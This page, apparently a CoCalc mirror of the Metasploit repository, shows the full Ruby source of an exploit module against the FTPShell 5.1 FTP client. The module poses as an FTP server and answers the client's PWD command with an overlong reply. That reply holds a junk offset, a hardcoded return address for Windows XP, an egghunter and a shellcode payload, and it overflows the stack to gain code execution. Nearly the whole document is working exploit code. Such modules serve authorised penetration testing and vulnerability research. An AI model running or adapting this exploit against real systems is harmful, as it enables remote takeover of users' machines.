CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Exploit::Remote::FtpServer
10
include Exploit::Remote::Egghunter
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
17
triggered when the ftp client tries to process an overly long response to a PWD
18
command. This will overwrite the saved EIP and structured exception handler.
19
},
20
'Author' =>
21
[
22
'corelanc0d3r <peter.ve[at]corelan.be>' #found bug, wrote the exploit
23
],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
[ 'OSVDB', '68639'],
28
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
29
],
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]
42
],
43
'Privileged' => false,
44
'DisclosureDate' => '2010-10-12',
45
'DefaultTarget' => 0))
46
47
end
48
49
50
def setup
51
super
52
end
53
54
def on_client_unknown_command(c,cmd,arg)
55
c.put("200 OK\r\n")
56
end
57
58
59
def on_client_command_pwd(c,arg)
60
61
badchars = ""
62
eggoptions =
63
{
64
:checksum => true,
65
:eggtag => "w00t"
66
}
67
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
68
69
print_status(" - PWD command -> Sending payload")
70
junk = "A" * target['Offset']
71
nops = "A" * 10
72
tweakhunter = "\x5a\x5a"
73
eip = [target.ret].pack('V')
74
buffer = junk + eip + nops + tweakhunter + hunter + egg
75
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
76
c.put(pwdoutput)
77
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
78
return
79
80
end
81
end
82
83